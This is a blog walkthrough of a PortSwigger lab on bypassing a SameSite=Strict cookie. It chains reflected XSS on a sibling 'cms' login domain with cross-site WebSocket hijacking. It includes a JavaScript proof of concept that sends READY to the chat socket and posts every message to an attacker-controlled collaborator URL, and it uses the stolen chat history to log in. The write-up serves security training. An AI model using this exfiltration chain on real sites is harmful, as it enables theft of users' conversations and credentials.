CSRF SameSite Strict bypass via sibling domain
- BlueDolphin
- Mar 16
- 5 min read
Updated: Mar 17
YouTube Walkthrough
Lab Overview

Why Is This Important
It is common for web applications to utilize web sockets, and if an internal relationship exists with a sibling domain it creates an attack surface for a WebSocket hijacking attack that enables a CSRF attack.
Key Takeaways
Viewing websockets via browser inspect
Secure vs insecure websockets
Interacting with websockets
Conduct a cross-site WebSocket hijacking attack
Exploit Chain XSS, CSRF and CSWSH together
Steps to Reproduce
Review the application
Identify strict security headers
Identify live chat over websocket
Chat.js review
Create and test a cross site request
Build our web socket
Callback to collaborator
View and confirm data received in collaborator C2
Bypass SameSite Strict Header via XSS on a sibling domain
Uncover login domain
Test for XSS
Test cross site request
Chain exploits
Create the payload
Encode the payload
Point to our XSS Injection point
Host and deliver
1.) Review the Application
Steps to reproduce
Identify strict security headers
Identify live chat over websocket
Chat.js review
Identify strict security headers
Upon browsing to the website, we setup burp to passively enumerate our website developing an http history log. We notice that a session cookie is set with the SameSite=strict header.

Identify live chat over websocket
What I initially found interesting here is that the users chat history is persistent across a page refresh. Even if we wait for the system to disconnect on a timeout, our chat history remains. This is indicative of session cookie use which we saw in the above request.

Looking at the websocket history in burp reveals that our client's first post to the server was the READY parameter.

The standard requests are not vulnerable to CSRF attacks since there is a same site strict header. Websocket usage increases our attack surface. The webserver socket provides the full chat history which is tied to our session cookie where we do not see a CSRF token set in the response.

If you didn't know, you can quickly see if a websocket is in use within the network tab of your browsers developer tools, by clicking into network and then on WS tab as seen in the image below.

Taking a step back and visiting the HTTP history we can find where the websocket was first initiated. If you didn't already know, HTTP 101 is code for a websocket protocol request. We see that the websocket is established upon visiting the chat page.

Chat(js) Review
The chat.js call and file reveal the wss protocol, which is the secure version of websockets as opposed to the ws protocol. Quite similar to http/https.

In the chat.js script there is a particular section to focus on, the websocket activity. By understanding how this client side websocket operates, we can learn more about the handling of the chat messages.

2.) Create and test a cross site request
Steps to reproduce
Build our web socket
Callback to collaborator
View and confirm data received in collaborator C2
Note:
The websocket API in JavaScript offers ws/wss objects for creating and managing websockets both server and client side. A new websocket is created by calling WebSocket().
An example below: var socket = new WebSocket("wss://examplehost:1337");
Event Handling
Websocket connections have 4 principle events that are utilized in standard operations.
open: Triggers when connection is established
message: Send and receives messages between server and client
close: Triggers when connection is closed
error: Triggers if an error occurs.
Build our websocket
The goal here is to test a POC as if we were the attacker and hosted a malicious web server, using java script to create a web socket which communicates to the chat bot endpoint, and a client side script that then passes the chat history to our call back.
Create a new websocket
Point the websocket to our target chat application
Send the READY string on open
Pass the fetch function to make a call back to our collaborator server.
Post the event data provided by the chat application
1.) Create a new websocket
const WebSocket = require('ws'); 2.) Point the websocket to our target chat application
const ws = new WebSocket("wss://CHAT BOT URL PATH");
3.) Send the READY string on open ws.onopen = function () {
ws.send("READY");
};
4.) Pass the fetch function to make a call back to our collaborator server.
ws.onmessage = function (event) {
5.) Post the event data provided by the chat application
fetch('https://COLLABORATOR URL', {method: 'POST', mode: 'no-cors', body: event.data});
};
Note:
I changed the post parameter from event.data to evt.data.
event.data ---->evt.data
This is what your script should look like as provided by port swigger in the lab details.

Callback to collaborator
With the payload primed and implemented as the body of our webpage via the exploit server we can store and deliver the payload. This will host a webpage with our above script and a user (in this case a bot) will visit our page.
Waiting a few minutes we see our call back posting the event.data.

3.) Bypass SameSite Strict Header via XSS on a sibling domain
Steps to reproduce
Uncover login domain
Test for XSS
Test cross site GET request
Uncover login domain
Viewing the requests had originally revealed a sub domain when requesting content.

Appending our existing URL at the login page with the sub domain "cms" brings us to a different webpage.

Test for XSS
We test the username field for xss to verify this as an injection point to act as our bypass to the samesite strict header as per the lab instructions.

Passing the XSS payload results in a successful execution of our script.

Test cross site GET request
Here we change our request from a POST to a GET, containing the same xss payload as before. Sending this to repeater and forwarding to our target reveals that our payload was processed by the endpoint via the URL query string successfully. This opens the door for delivery of our payload.

4.) Chain exploits
Steps to reproduce
Create the payload
Encode the payload
Point to our XSS Injection point
Host and deliver
Create the payload
Here we simply use our existing payload.
Encode the payload
We know that javascript is passed and executed by the webserver via the login function, however when our request was changed from POST to GET, the URL query string encoded our xss alert script, so we will need to encode our script.

Use the provided script found in the lab details to run a script that passes a URL to the browser of the visiting user. This URL will have our encoded payload.
In theory, the user clicks our link, upon landing on our malicious page their browser executes the document. Location function pointing to the cms login page which is vulnerable to XSS, and then passes our script to make the call back and exfiltrate the chat history to our collaborator or C2.
We can see the chat history retruend in the image below within burp collaborator.

Using the above credentials we sucessfully login.

Comments